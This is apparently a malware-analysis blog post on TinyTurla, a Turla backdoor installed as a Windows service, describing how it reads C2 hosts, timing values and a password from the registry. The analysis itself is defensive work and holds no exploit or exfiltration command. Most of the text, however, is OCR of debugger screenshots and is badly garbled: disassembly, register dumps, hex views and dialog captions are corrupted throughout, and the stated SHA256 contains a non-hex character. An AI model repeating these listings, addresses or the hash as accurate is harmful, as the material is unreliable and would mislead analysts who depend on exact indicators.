A step-by-step analysis of the Russian APT Turla
backdoor called TinyTurla

cybergeeks.tech/a-step-by-step-analysis-of-the-russian-apt-turla-backdoor-called-tinyturla/

Summary

Turla is a Russian-based group that has impacted government, embassies, military,
education, and research companies since 2004. Our analysis focuses on a backdoor called
TinyTurla that was installed on an endpoint via a Windows Service. The list of C2 servers
and a password used for authentication with the servers are stored in the Windows registry.
The malware implements 12 different commands that include spawning and killing
processes, creating and exfiltrating files, creating pipes for process communication, and
modifying registry values used during the execution.

Analyst: @GeeksCyber
Technical analysis
SHA256: 030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0f5eb887d13dedf1dal

The file is a 64-bit DLL that was installed as a service called “Microsoft Windows Time”
(https://blog.talosintelligence.com/2021/09/tinyturla.html). We’ve manually created a service
called “W64Time” and the corresponding registry keys/values by simulating the execution of
the batch script mentioned in the Talos article:
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WedTime Properties (Local Computer]

General |LogOn Recovery Dependencies

Service name: W64 Time
Cisplay name: w64 Time
Descnption:

Path to executable:

"CAWINDOWS \System3 2 svchost exe -k TmeSenace”

Startup type: | Manusal .
Figure 1
Service status:  Stopped
Start Stop Pause Resume
You can specify the start parameters that apply when you start the sendice
from here.
Start parameters: |
Cancel Apply
B Registry Editor - o x
File Edit View Favortes Help
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WodTime\Parameters
| | ‘-""‘_ic"‘fpﬂ“ha"‘}! A || Name Type Data
iy ab| (Default) REG_SZ (value not set)
vx-:r:::: 2| Hosts REG_SZ 90.90.90.90 9050
- abf
Vmicvimsession 2 . REG_SZ e
il 2 TimeLong REG_DWORD (00010000 (65536)
s 4 TimeShort REG_DWORD 0xD0005000 (20480)

Figure 2

Because we're analyzing a 64-bit file, the calling convention is different, and the function
arguments are passed to the RCX, RDX, R8, and R9 registers. Additional arguments are

pushed onto the stack (right to left).

RegisterServiceCtrIHandlerW is utilized to register a function to handle service control

requests:

‘ . 48 BB 1A
LK 48 BD 15 ED FF FF FF|lea rdx,qword ptr ds: [FFFBAT3IBZ2460]
L] 48 B8 CB MOV rcx,rbx

F—

Figure 3

mov rbx,gword ptr ds:[rdx]

FF 15 97 0B 00 00 €3 gword ptr ds:[<4RegisterServiceCtriHandl
48 08 AL AN 18 AN Al masc Auwsrd are des FTEESATIBAAMAT rav

<turla.Servicemain>

L WE4Time"

L WE4Time"
turla.00007FFBAT3B2460

00007FFBAT3B2470
00007 FFE18D5A060
O00D0O7FFE1BD5A0E0
00007 FFBAT3IB2460

The service status for the above service is set to 0x4 (SERVICE_RUNNING) via a function

call to SetServiceStatus:
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int3

@%Dump3 @HDump4d  ESDumpS

&

@Woump1 | @8 oump 2

@ watch1  Irellocals 4 Struct
o !

00007 FFBAT3B4000 [ 20 00
00007FFBAT3IB4010(| 00 00

Figure 4

04 00 00 00|00 00 00 00|00

00 00 00 00|00 00 00 DU!UO

00 00 |
00 00

00 00 00|
00 00 00 .

o 1 RAX  0D00D00D0000002452
: kL il REX  0OO07FFE1EDSA0E0 L“WE4Time"
. cc int3 RCX 0000000000002452
. cc int3 RDX 00007 FFBAT3B4000 turla. 00007 FFBAT3B4000
. £ int3 REP  DDO0D0BIDC27FIL0
- cc int3 BSE 000000B90OC27FB60 AL "WE4Time"
. cc int3 RSI  DOODODODDOGDOZES
. cc int3 RDI  0D000000000000000
. BE 01 00 0O 00 mov eax,l
. €3 Fer RE 0000021EDEEECADD
: gg :::; RS 00000008000006E8
. = e R10  0000000000000000
3 e k3 R11  0ODODOZ1EDECTOECO . i
-4 cc intz R12  DDODOZ1EDECSBAZ0 L"turla.d1l
. cc int3 R13  0DDO0O0OOCO0ODDD0A
. cc ints R14  DDOO7FFBA73B0O000 turla. 00007 FF8AT3B0000
. cc int3 R15  FFFFEFEFFFEFFFEF
. cc int3
. cc int3 RIP  OOODTFFBATIB24A9 turla.0000TFFEAT3E24A9
L] €2 00 00 FEE o
. cc int3 RFLAGS  0000000000000202
- €c int3 ZF 0O PFO AF O
e 5 e OF 0 SFO DF O
. -2 tht3 CFO TFO IF1
: EE 1:2; LastError CO00DOOS
4 cc int3 LastStatus CO00D034 (STATUS_OBIECT_NAME_NOT_FOUND)
. cc int3
. cc int3 GS 0028 FS 0053
- cc int3 ES DO2B [QS 0028
. cc int3 €S 0033 355 0028
cc int3
:g ;; 50 gﬁgh‘_gg’(_bu x87r0 00000000000000000000 STO Empty O.000000000000C
i X87r1 00000000000000000000 ST1 Empty O.000000000000C
. 48 BB 1A mov rbx,qword ptr ds:[rdx
- 48 W 15 €0 K¢ FF PR lea rd!:gwrd gtr d::E?FF]lR'!!BZdSO] X87r2 00000000000000000000 ST2 Empty 0.000000000000C
. bl s i X87r3 00000000000000000000 ST3 Empty 0.000000000000C
. FF 15 57 OB 00 00 | gword ptr ds:[<fRegisterServicectrlHand] | X87r4 00000000000000000000 ST4 Empty 0.000000000000C
. 48 89 05 90 1B 00 00|mov gword prr ds:[7FFBAT3B4020],rax X87r5 00000000000000000000 STS Empty O.000000000000¢
. 48 B85 CO Test rax,rax x87r6 00000000000000000000 STE6 Empty O0.000000000000C
=--—8 v 74 4A je turla.7FFBA73B240F X87r7 00000000000000000000 ST7 Empty O.000000000000C
. 48 80 15 64 1B 00 00|lea rdx,qword ptr ds:[7FFSA73B4000]
[T €7 05 5E 1B 00 00 04|mov dword ptr ds: [7FFBA73B4004] ,4 x87Tagword FFFF
. 8 S8 c& e e Tl . ]
FE—— FF 15 &9 08 00 00 pEr dsy[<ASetServicestatus>] v — -
R e T Defavit (x64 fastcall)
: rdx DODOTFFBAT3B4000 turla,00007FFBAT 384000
: rs 0000021EDSGEDADD
. Text:00007FFBAT3IB24A9 turla.dl1:524A9 #18A9

After the main function finishes, the service status is set to 0x1 (SERVICE_STOPPED).

The RegOpenKeyExW API is used to open the
“SYSTEM\CurrentControlSet\Services\W64 Time\Parameters” registry key (0x80000002 =
HKEY_LOCAL_MACHINE, 0x20119 = KEY_READ | KEY_WOW64_64KEY):
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Figure 5

Laststatus C0000034 (STATUS_OBIECT_NAME_NOT_FOUND)

L "TimeLong"™

L"SYSTEM\\CurrentControl

L"WE4Time"

L turla.d11”

turla. 00007 FF8A7 380000

turla.D0007FFBAT3B2521

570
5T1
5T2
5T3
5T4
5TS
576
517

Empty
Empty
Empty
Empty
Empty
EmpTy
Empty
Empty

1[5 3100 oo

|| oooo7FFBa lea rax,qword ptr ss:Q@rsp+3aj
# || oooo7FFBA WOV rcx,FFFFFEFFS0000002 ::: 3?23?2::&:::;;2:
o || OOOOTFFEA mov qword ptr ss:frspr20f,rax RCX FEEFEEF
o || oooozFraa mov rod,20119 K FEF #0000002
. xor_rsd,rsd RDX  0OD0027A72764FDO
. ptr ds:[<aRegOpenkeyExws RBP  DODODOS3CF3FF7CO
M test eax,eax T ¥ RSP  OODOOOS3CF3FF710
- ine turla.7FF8A73B25B82 RSI  0000000000AS03BC
- mov rcx,qgword ptr =s rsp-J RDI 00007 FFE18DSADE0
. Tea rax,gword ptr _ss:frs
. mov gword ptr ss: lrs +28 rax R8 0000000000000000
. Tea r9,qword ptr ss:ffrspi3ol R3  DO0DODOOODO020119
e xor vad,rad R10  00DOO0DODODOODDO
: mov E:urdbntr ssillrspr20§,0 R11  DOOODOS3CF3FFTO0
. “ gword ptr ds:[<aRegQueryvalueExws] R12  000D027A727680:90
. Test eax,eax R13  000000000000000A
el jne turla.7FFSA7IB2SA7 R14  DODOTFFS8A73B0000
. cmp dword ptr ssifirsp+30§,4 R15  FFFFFFFFFFFFFFFF
- jne turla.7FF8A73B25A7
H - mov ecx,dword ptr ss!fQrsp+7sj RIP DODOTFFBAT 382521
. ® (| oooozFraa E&1Y turla.7FFBAT3B1310
y ® || 00007FFBA 48 89 44 24 40 mov gword ptr ss:frsp+aof,rax RELAGS  0000000000000246
] . 45 85 CO TesT rax,rax ZF 1 PE 1 AF O
i ® v 74 31 je tur1a.?FFaaranzsa?l - OF O SFO DF O
| . 48 8D 4C 24 7 lea rex,qword ptr ss:Brsps7
H . 45 33 C9 xor r?d.a?d N 1 0T Ik 1
H . 48 89 4C 24 28 mov gword ptr ss:@rsps2sf,rox
; . 45 33 Co xor rad,rsd ;: LastError  C0000005
{ - 48 BB 4C 24 38 mov rcx,qword ptr ss:@rsp+3sQ
] . 48 88 D3 mov rdx,rbx
i . 48 89 44 24 20 qwurd ptr s5:frsp+20) GS 002B FS 0053
i . FF 15 77 0A 00 00 “ qword ptr ds: [<&R emuerwuluezm] ES 0028 QS 0028
' . 8% Co Test eax,eax €S 0033 35 0028
| . v 74 1D %e tur1a.7FF:A?3!25&\' 1
' . 48 8D 4C 24 70 ea rox,gword ptr ssifirsp+70 X87r0 00000000000000000000
i . E8 A9 ED FF FF turla.7FF8AT3B1350 XB7r1 0DO00DO0DDO0DD000DO00
i - 48 BB 4C 24 38 mov rcx,qeord ptr ss:irspisa] x87r2 DO00DO0ODODDD00DD000
H - FF 15 76 0A 00 00 E&EN qword ptr ds:[<&RegClosexey>]
biamme . 33 Co XOr eax,eax n:;r3 oooooooooooogggggggg
: . 43 83 C4 50 add rsp,50 X87r4 0000000000001
: . 5B rbx x87r5 00000000000000000000
i . c3 ﬁ x87r6 00000000000000000000
e ] 48 BB 44 Z4 a0 mov rax,qword ptr ss:Brsp+4o] XB7r7 00000000000000000000
- 88 08 mov ecx,dword ptr ds:[rax]
- 48 BB 44 24 70 mov rax,qword ptr ss:frsp+7of x87Tagword FFFF
. 89 08 mov dword ptr ds:[rax],ecx R T
2 48 ® &« 24 40 lea rex,guord ptr ss:Bfsp-4o8
a.
. TeXT: 00007 FFBA73B2521 turla.d11:52521 #1921
) 0000000000000004
% Dump 1 Woump2 PYDump3 UM Dump4  $Dump 5 @ watch 1 |x=| Locals & Struct 00000083CF 3F DO00027AT2768D90
add T - @ [ || 200000B3CF3F 00007 FF618D5 ADE0
0000027A727 GAFDO |58 00 59 00]53 00 54 00|45 OO0 4D 00|5C 00 43 00|S.Y.5.T.E. br it J0007FFEA73E133D
0000027A72764FED| 75 00 72 00|72 00 65 0DO|6E 00 74 00(43 00 6F 0O|u.r.r.e.n. 00000083C 00 00000010
0000027A72764FFO|6E 00 74 00|72 00 6F 00|6C 00 53 DO|65 00 74 0O|m.t.r.o.1. - DODOD0S3CEIFETCO
0000027A727 65000 5C 00 53 00|65 00 72 00|76 00 €9 00|63 DO €5 00|\.S.e.r.v. OG0 GODCAEDIRE
0000027A72765010(73 00 5C 00|57 00 36 00|34 00 54 00|69 00 6D 00|s.\.W.6.4. 0000000000000018
0000027A72765020| 65 00 5C 00|50 00 61 00|72 OO0 61 00|6D 00 65 00|e.\.P.a.r. DODOTEFBAF23D2AZ
0000027A72765030|74 00 65 00|72 00 73 00|00 00 00 00|00 0O OO 0O|t.e.r.s.. R R AN SRR P

The process extracts the following registry values using RegQueryValueExW:

etu

L"turla.d11™
L"WE4Time"

r_n__l:u!r'fa DPIDU-E_FQA_

return to user3i.00D07FFE

TimeLong — the number of milliseconds that the malware waits when the C2 servers
are not responding

TimeShort — the number of milliseconds between requesting different commands from
the C2 server

Security — password used to perform some sort of authentication

Hosts — list of C2 domains and port numbers
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0D007FFBAT3B24E7 cc int3 RAX  000002TAT2777F40
DO007FF8A73B24E8 cC int3 " "
00007FF3AT 3B24E3 cc int3 :g: mﬁg :::TT"”"’"“
0D007FFBAT3B24EA cc int3 i =
O00O7FFBA73B24ER cc ] RDX  DDOD7FFEAT3B31CO L"TimeLong
00007FF8A7 3B24EC €c int3 RBP  OODOCOBICF3FF7CO
00007FFBAT 3B24ED cC int3 BSE  O0000083CF3FF710
0DO07FFSAT3B24EE cc int3 RSI  0D00DO0DC000ASD3BEC
00007 FFSAT3B24EF cc int3 RDI  0DDOOTFFELEDSA0E0 L"WE4Time"
00007FFBAT3B24F0 4C B9 44 24 18 mov gword ptr ss:@rsp+igj,r8
00D07FFBAT 3B24F5 53 push rbx RE 0000000000000000
D0007FFBAT3B24F6 48 B3 EC 50 sub rSD,s[! R 0000000000000000
00007 FFEAT3B24FA 45 8B DA mov rbx,rd n:o 0000027A728912F0
00007FF3AT3B24FD 41 C7 00 00 00 00 00|mov dword ptr ds: [r8],0 a1 OOk e EACEEAD
00007 FF8AT 382504 48 8B D1 mov rdx,rex S5 e i A Lturla.dil”
00007FFBAT 382507 48 BD 44 24 38 1ea ru,mrn prr ssifrsps3sl s uria.

i e 000000000000000A
DO007FFBAT3B250C 48 C7 C1 02 00 00 80 |mOvV rcx,FFFFFFFFBDO00DD0OZ
00007FF8AT382513 48 89 44 24 20 mov qword ptr ss:frsp-20f,rax R14  0DOO7FFSAT3BO00O turla. 00007 FF8A7 380000
00007FFEAT 382518 41 B9 19 01 02 00 mov rod,20119 R15  FFFFFFFFFFFFFFFF
00007FFEAT38251E 45 33 CO xor ré&d,rad
00007FFBAT3B2521 FF 15 D9 0A 00 00 €A1 qword ptr ds: [<&RegOpenkeyExw:] RIP O00DO7FFBAT3B2593 turla.00007FFBAT3B2593
DD007FFBAT3B2527 85 Co t_est eax,eax

r DOO07FF8AT3B2529 ~ OF 85 83 00 00 OO0 jne turla.7FFBA73B2582 RFLAGS 0000000000000246
00007 FF8A7 38252F 48 88 4C 24 38 mov rcx,qmrd ptr = ZF 1 PF1 AF O
00007 FFBAT 3825 34 48 8D 44 24 78 lea r rd ptr_s OF D SFO DF O
0D007FFBAT3R2539 48 B9 44 24 28 ptr ss-.rs +2 6, rax CFO TFO IF1
00007FFEAT 3825 3E 4C 8D 4C 24 30 lea r:dqwrd‘d ptr 5s.irsu+ml
0DO07FFSAT3B2543 45 33 CO xor r8d,rs
0D007FFEAT3B25 46 48 C7 44 24 20 00 00|mov gword ptr ss:[rsp+208,0 ol LEsTECRGr . CODODOOL
00007 FFEAT 3825 4F 48 8B D3 mov_rdx,rbx LastStatus 00000000 (STATUS_SUCCESS)
00007FFBAT 382552 FF 15 B8 0A 00 00 E&1} qword ptr ds:[<&RegQueryvValueExw:]
00007FFBA73B2558 85 Co test eax,eax || 65 ooze Fs 0053
0DOO7FFSATIB2554| + 75 4B jne turla.7FFSA73B25A7 ES D02B QS 0028
0D007FF3AT 38255€ 83 7C 24 30 04 cmp dword ptr ss:frsp-3of,4 €S 0033 55 0028
O0007FFEAT3B2561| + 75 44 jne turl;.:)::u?:azsai .
00007 FFBAT382563 BB 4C 24 T8 mov_ecx, ptr ss:frsp+7 00000000000000000000 Empty 0.000000000000
G0007FF8A7 382567 EB A4 ED FF FF ENEE turla.7FF8A73813 X87r1 00000000000000000000 ST Empty 0.000000000000¢
OD007FFBAT3B256C 48 89 44 24 40 mov gword ptr ss.lrspunl.rn X87r2 00000000000000000000 ST2 EmPty O.000000000000C
COOGVEFRARIBREI A 48 820 LEST YRS e x87r3 0000000000D000000000 ST3 E 0. 000000000000¢
00007FF3A7382574| ~ 74 31 e turla.7FFBA73B25A7 Y
00007 FFBAT 382576 48 8D 4C 24 78 ea rex,qword ptr ss:@rsp+7sf X87r4 00000000000000000000 ST4 EmpTy O.000000000000C
00007FFBA7 382578 45 33 C9 xor rod,rod XB7r5 00000000000000000000 STS Empty O.000000000000C
00007 FFBAT 38257 48 89 4C 24 28 mov qword ptr ss:frsp+2sll,rex X87r6 00000000000000000000 ST6 Empty O.000000000000C
0D007FFBAT 382583 45 33 CO xor r&d,rsd X87r7 00000000000000000000 ST7 Empty O.000000000000C
00007 FFBA73B2586 48 8B 4C 24 38 mov rcx,qword ptr ss:frsp+3sj)
00007 FFBAT 3825 88 48 8B D3 mov rdx,rbx x87Tagword FFFF
DO007FFBAT 3825 BE 48 89 44 24 20 ] ru ptr rsp+20f, rax
7 g 00 d [<tRegQueryvalueExw>] | v
>

< Lext:00007FFBAT3B2593 turla.d11:52593 #1993

@Woump1 | gpump2  WWDump3  WHDump s

7?2??#40 o 00 00 00 00 16

00007 FFBAT3IB24E7 oC int3 RAX 0000027AT2777EDO
D0007FEBATIBZ4ES cc int3 RBX GO0O7FF8A73B31D8 L"Timeshort”
FFBAT3B24ES cc int3 ACX  GOCOC0GD00000IB0 L't
00007FFBATIB24EA cc int3 oo =
ODOO7FEBA73B24ER ec int3 RDX  DDOO7FFSAT3B31D8 L"Timeshort
00007FFBAT3B24EC cc int3 REP  OODDCOS3CFIFFTCO
O0007FFSAT3B24ED cc int3 BSE  0D00DOOS3CF3FF710
007 7 cc int3 RSI  0D0ODODOOOOASD3BC
cc int3 RDI  DOOO7FFELEDSA0E0 L"WE4Time"
4C B9 44 24 18 mov qword ptr ss:frsp+icl,rs
53 push rbx RE 0000000000000000
00007 FFBAT3B24F6 48 83 EC 50 sub rsp,Sg R9  0D0ODODODODODODOO
00007FFBA7IB24FA 48 8B DA mov rbx,r 00000:
00007 FFBAT 3B24FD 41 C7 00 00 00 00 00|mov dword ptr ds:[r8],0 ::g mmo:;;::::é:g
ODD07FFBAT3B2504 48 8B D1 moy rdx,rcx il B alin L turia.di1®
48 8D 44 24 38 lea rax,qword ptr ss:[frsp+3s) =
48 C7 C1 02 00 DO 80|mov rcx,FFFFFFFFS0000002 R13  000000000000000A
48 B9 44 24 20 mov qword ptr ss:Prsp+20f,rax R14 00007 FFBAT 380000 turla. 00007 FFBAT 380000
000 7 41 B9 19 01 02 00 mov rod,20119 R15  FFFFFFEFFFFFFFFF
00007FFBAT3IB251E 45 33 CO xor _réd,r8d
00007FFBATIB2E21 FF 15 D9 OA 00 00 €&l gword ptr ds:[<dRegOpenKeyExw>] RIP  ODOOTFFSATIB2593 turla. 00007FFBAT3IB2593
00007FFBAT3B2527 85 co Test eax,eax
FFBA73B2529| ~ OF B 83 00 00 00 jne turla.7FFBA738258 RFLAGS  0000000000000246
FFBA73BI52F 48 BB 4C 24 38 mov rcx,qword ptr ss:firsp+3 ZF 1 PF1 AF D
00007FFBA73B2534 48 8D 44 24 78 lea rax,qword ptr_ss:frsp7 OF 0 SFO DF O
00007FFBA73B2535 48 B9 44 24 28 mov qword ptr ss:firs ,rax o o aEa
O000TFFBATIR253E 4C 8D 4C 24 30 1ea r9,qword ptr ss: rsp‘;nl
D0O07FFBAT3B2543 45 33 CO xor rsd,rsd
00D07FFB8A7 382546 48 C7 44 24 20 00 00|mov qword ptr ss:[frsp+208,0 Lasterror  CO00000S
00007 FFBAT3B254F 48 BB D3 mov_rdx,rbx LastStatus 00000000 (STATUS_SUCCESS)
OOOOTFFRATIBIES2 FF 15 BB OA DO 0O can quord ptr ds:[<aRegQueryValueExw:]
00007 FFBA73B2558 85 Co Test eax,eax || 65 pozs Fs 0053
O00D07FFBA73B2554| ~ 75 4B jne turla.7FFBAT3B25A7 ES D028 Q5 0028
00007FFBAT3B255C 83 7C 24 30 04 cmp dword ptr ss:frsp+3of, 4 €S 0033 55 0028
00007FFBAT3B2561| ~ 75 44 jne turla.?FFBAT3B25A7
007 7 88 4C 24 78 mov_ecx,dword ptr ss:firsp+7sl XB7r0 00000000000000000000 STO Empty 0.000000000000!
7 ES A4 ED FF FF E&N1 turla.7FF8A7381310 X87r1 00000000D0OD000ODO000 ST1 EMPty 0.0000D00ODOOO!
00007FF8AT3B256C 48 89 44 24 40 mov gword ptr ss:ffrsp+4of,rax X87r2 000D0000000000D00D00 ST2 EmPE u'uouououououoc
00007FFBAT3B2571 48 85 CO test rax,rax b
OO007FFEA73B2574| v 74 31 {. tur‘ln.?FFwaazSA?'r - ::;: 00000000000000000000 g: EE::E; g.oooouoooooooc
00007FFEA7382 48 BD 4C 24 78 ea rcx,qword ptr sc:frspeT 00000000000000000000 . 0000000000001
O000TEEBATIEIS T a5 33 C3 xor rad,rad X87r5 00000000000000000000 STS Empty 0.000000000000!
00007 FFBAT3B25TE 48 89 4C 24 28 mov qword ptr ss:frsp+2s8f,rox x87r& 00000000000000000000 5TE Empty 0.000000000000!
00007FFBA73B2583 45 33 Co xor r&d,rad X87r7 00000000000000000000 ST7 Empty 0.000000000000!
00007FFBA7 382586 48 BB 4C 24 38 mov rcx,qword ptr ss:frspt3sh
00DO7FFBA73B2588 48 8B D3 mov rdx,rbx xB7Tagword FFFE
00007 FEBAT 3825 8E 48 89 44 24 20 mov_qword ptr ss rsp+zo|, . a
07 FF 8 5 77 OA DO 0O !ﬂwwl"!im_"
Lo > |Default (x5 fastcal) [ unlocke

] rdx 00007FF8A73831D8 L"Timeshort"
8 0000000000000000

. TEXT:D0007FFBA73B2593 turla.dl1:$2593 #1993

20| DDOO7FI

; z g I 0000000000000004
Woumo1  @oump2  oump3  UWoumps  Woues @ wechi  Iwllocals ) stuct DODOOOB3CF3FF7 18 momrsm?aaams L*Timeshort"
= Ry ASCIT o D0D0D083CF3F FE00000004
0000083CF3FE7 28 | 00000083CF3FFT40

0000027A72777FDO [ 00 00 00|00 OO 00 OO|1F B8 27 75|00 15 00 80
000W27A72777FEO DO DO 00 00 D‘D 00 O'D 00 I.C BS 24 75 CH] 16 00 80|..

Figure 7
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O0007FFBA73B25EG

Ob007Er SA7 382557 S batia i reies
00007 FFBA73B25E8 RCX 180 Lrut
00007 FFBAT3B25E9 0000000000000, a =
DOODTEEBA7SRSEEA RDX  ODDO7FFBA73B31F0 L"security
00007FFBA73B25E8 RBP 3CFIFF7TCO
00007 FEBAT 3B25EC RSE  0O0D0DO0B3CF3FF730
00007 FF8A73B25ED RSI  0000000000AS038C
00007FFBA73B25EE RDI 00007 FFBAT3IB31F0 L"Security”
00007 FFBA73B25EF 3
D000TFFBAT3B25F0 24 08 mov gword ptr ss:lrspesl,rox RS 0000000000000000
00007FFBAT3B25F5 purb.h rdi RS 0000000000000000
O0007FFBAT3B25F6 30 sub rsp,30
00007FFBA73B25FA mov rdi,rdx :;‘2 moooz?;::::g:;g
D000TFFBAT3B25FD 00 00 00 00|mov gword ptr ds:[r8],0 " -
|| 00007EFRA7 382604 mov ré, rck i RAZ 00077 A2 E BRIAC j2turls ahi
#| coo07FFBATIBZE0T 24 58 lea rax,qword ptr ss:frsp+sa] R13  000000000000000A
o[ 00007FFBATIBZE0C mov rbx,rs R14  0DDOO7FFBAT3BO000 turla. D0007FFBAT 380000
| DODOTFFBA73B260F 24 20 mov gword ptr ss:lrsp+zofl,rax R15  FFFFFFFFFFFFFFFF
o 00007FFBAT3BZ614 02 00 00 80|mov rox,FFFFFEFFB0000002
o || 0000TFFBATIR2618 00 02 00 mov rod,20019 RIP  O000TFFBAT3B2687 turla. 00007 FF8AT3826587
&/ D00O07FFBAT3IB2621 xor rad,r8d
®|| 00007 FFBA73B2624 09 00 00 call mra ptr ds: [<&RegOpenkeyExw>] RFLAGS  0000000000000246
® || 00007FFBAT3BZ62A test eax,eax ZF 1 PF 1 AF O
e ® (| 00007FFBAT3B262C jne turla.7FFBA73B26A4 OF D SFO DF O
o || DODOTFFBAT3B262E 24 58 mov rcx,qword ptr ss:lrsp—rs cED0D TFO IF 1
o[ 00007FFBAT3B2633 24 50 lea rax,qword ntr‘ss: Sp+50)
00007 FFBA73B2638 24 28 mov gword ptr ss:frsp+2sf,rax
o|| oooo7FFeaTIEZ63D xor rod,rod LastError CODO00OS
o 0ooo7EEBAT3B2640 xor ré&d,rsd LastStatus 00000000 (STATUS_SUCCESS)
® || DOOOTFFBAT3IB2643 24 20 00 00|mov gword ptr ss:frsp+208,0
o[ 00007FFBA7IBZ64C mov rdx,rdi GS 0028 FS 0053
| DOOOTFFBATIB264F 09 00 00 €&l gword ptr ds: [<RegQueryvValueExws] ES 0028 Q5 002B
® || DODOTFFBA73E2655 Test eax,eax €S 0033 55 0028
----- 00007FFBAT3B2657 | v jne turla.7FFaA7IB2699
| 00DO7FFBAT3B2659 50 mov_ecx,dword ptr ss:frsp+soll X87r0 00000000000000000000 STO Empty 0.000000000000!
® || 00007FFBA73BZ65D FF FF €&l turla.7FFBAT3B1310 X87r1 000000ODD00D00DDO000 ST1 EMPty 0.00000000DOOD!
W] EHIMAELF RN i whe mov_gword ptr ds:[rbx],rax X87r2 0000ODG0D00N000DOD00 ST2 EmpTy 0.000000000000!
& CODOTFFBAT3B2665 Test rax,rax g
00007FEBA73Bo66E| ~ je turla. 7FFEATIE2E99 X87r3 00000000000000000000 ST3 EmpTy 0.000000000000!
00D0TFFBAT 382664 4C 24 50 lea rcx,gword ptr ss:frsp+sof X87r4 00000000000000000000 ST4 EMpTy 0.000000000000
00007FFBA73B266F xor rad,rad X87r5 00000000000000000000 STS EmpTy 0.000000000000!
0000TFFBAT 382672 24 28 mov qword ptr ss:Prsp+2sf,rex x87r6& 00000000000000000000 STE Empty O.000000000000!
00007FFBAT3B2677 xor ra&d,rsd X87r7 00000000000000000000 ST7 EmpTy O.000000000000!
O0007FFBA73B267A 24 58 mov rcx,qmrd ptr ss:firsp+ssl
D0007FFBAT3B267F mov rdx,rdi x87Tagword FFFF

00007 FFBAT3B2682 |

ord ptr ss:fjrsp+20f,rax
HE: [<aRegQueryvaTueExw>J1000

>

turla.d11: 52687 #1A87

@Woump3  Poump 4

- Text:0000TFFBAT3B2687

4% Dump 1

¥ Dump 2 Whoumps & wah1

'0000027A727786E0 [ 00 00 00|00 00 00 00|00 DO 0O DO|0D 00 0D 00
WZ?A?Z??USFD 00 DCI OD oo O'D DO EHII 00 89 B? 15 75 71 12 00 8O e

Figure 8 - o

e e e [

. 6 5B rbx

»| o0007FFBATIR25ET €3 ﬁ :g m;;é:;;gg

o[ 0DOD7FFEAT3B25ES C int3 RCX  D000000000000L] L'u'

o | 0DOD7FFBATIEZ5ES cc int3 i e

o | 00OOTFEEATIE25EA cc intz RDX  0OOO7FFBAT3B3208 L"HOSTS

. EBAT3IB25ER cc int3 REP  DOODDOS3CF3FFTCO

. FBATIB25EC cc int3 BSE  000D0083CF3FF730

# | o0007FFBATIB25ED cc int3 RSI  DDODO0ODOOASD3BC

o | o0007FF8A73B25EE cc int3 RDI  DOOD7FFEATIB3208 L"Hosts"

o | 00007FFEATIB25EF cc int3

o || 0OOO7FFBATIB25F0 48 B89 5C 24 08 mov gword ptr ss:frsp+s@,rbx REB 0000000000000000

| 00007FFBATIB25F5 57 Duls)h rdi RS 0000000000000000

o | o0007FFBAT3B25FE 48 83 EC 30 sub rsp,30 00000

® (| 00007FFBAT3B25FA 48 8B FA mov rdi,rdx ::2 ooooogg‘;:::gg:g

|| 00007FFBATIB25FD 49 €7 00 00 0O 00 00|mov qword ptr ds:[rs&],0 - 1a.d11"

o[ nooo7Frea73B2E04 48 BB D1 mov rdx,rcx o - :i; 0000027A727 680 90 L"turla.

[ 00007FF8A73B2607 48 8D 44 24 58 Tea rax,qword ptr ss:frsp+s 2anaonocooRakooA

o onoo7FEEATIE260C 49 8B D8 e ,b,'.‘!:" R14  DOOOTFFSAT3B0O000 turla. 00007FFBAT3BD000

# || 00007FFEAT3BE2E0F 48 89 44 24 20 mov qword ptr ss:frsp+20f,rax R1S  FFFFFFFFFFFFFFFF

® [ 00007 FFEBATIBE2E14 48 CT7 C1 02 00 OO0 BO(mov rcx,FFFFFFFFBO000002

o | 0D007FFEA73B2618 41 B9 19 00 02 00 mov r9d,20019 RIP  DODOTFFSATIB2ES7 turla.D0007FFBAT3B2687

o | oD007FFBAT3IB2E21 45 33 Co xor_r&d,rsd

®| 0DODTFF8AT3B2624 FF 15 D& 09 00 00 €all gword ptr ds:[<&RegOpenkeyExw:] RFLAGS  0000000000000246

o 00007FFEATIB2E2A 85 Co test eax,eax ZE1 PF1 AF O
~=m=====@ | DOO07FFBAT3B262C v 75 76 jne turla.7FFBA73B26A4 OF 0O SEO DF O

® | oo007FFBAT3B262E 48 8B 4C 24 58 mov rox,qword ptr ss CFO TFO IF 1

| 0ODO7FFBATIBE2633 45 BD 44 24 50 lea rax, rd ptrl's_s

o | oooo7FFBATIE2638 48 89 44 24 28 mov gword ptr ss:ffrsp+2

e[ oooo7FreA73IR2E63D 45 33 C9 xor rod,rsd LasteError CO000005

o[ oooo7FFEAT3R2E40 45 33 CO xor r8d,rsd Laststatus 00000000 (STATUS_SUCCESS)

# || D0DOTFFBATIBZE43 48 C7 44 24 20 00 00|mov qword ptr ss:frsp+2of,0

o | 0oo07FFSA73BZE4C 48 8B D7 mov_rdx,rdi GS 002B FS 0053

® || ODO0OTFFBATIE2E4F FF 15 BB 0% 00 00 call mrd ptr ds:[<aRegQueryvalueExw:] ES 0028 (S 002B

® [ 0DO0TFFBATIB2E55 TEST eax,eax CS 0033 S5 0028
e FBATIB2657| v jne :uﬂ&;Fsmin% -
: o FB8A73B2659 24 50 mov_ecx,dword ptr ss:firsp+s 7ro 00000000000000000000 + 000000000000
: @] 0a00:FERARIRZERD o A €all turla.7FFaa73s1sio X87r1 00000000000000000000 T2 g:ﬁ; 0. 000000000000
i . FEFIA IRZREE i mov gword ptr ds:[rbx],rax X87r2 000000000D0000000000 ST2 EmPTy O.000000DO0000
i < ERAZaES nos SESL LAX T Ex X87r3 DO0GOOOO000O000000D ST3 EmpEy 0. 000000000000
- FFBAT3IBZEES| ~ & turla.7FFBA7382699 WLy B
i O000TFEEAT3B2EEA ea rox,qword prr ss:frsprsol x87r4 00000000000000000000 ST4 Empty 0.000000000000
15 O0007FFEAT3B266F xor rad,rsd X87r5 00000000000000000000 STS Empty 0.000000000000
+a 00007FFBA73B2672 mov qword ptr ss:frsp+2sf,rex X87r6 00000000000000000000 5TE Empty 0.000000000000
11 xor r&d,rsd X87r7 D0OODODO0ODO00DO00000 STT Empty 0.000000000000
g mov rn.qm:lrd ptr ss:firsp+s58j

H 0000 FF8A73B267F mov rdx,rdi x87Tagword FFFF
H rd sp+20f,r

00007 FF8A73B2682 X
FFBA7382 FF 15 83 08 DO 00 : [<tRegQueryvalueExus Ty  [Fr e —
" =

rdx OODO7FFBA73B3208 L"HOSts"
rs
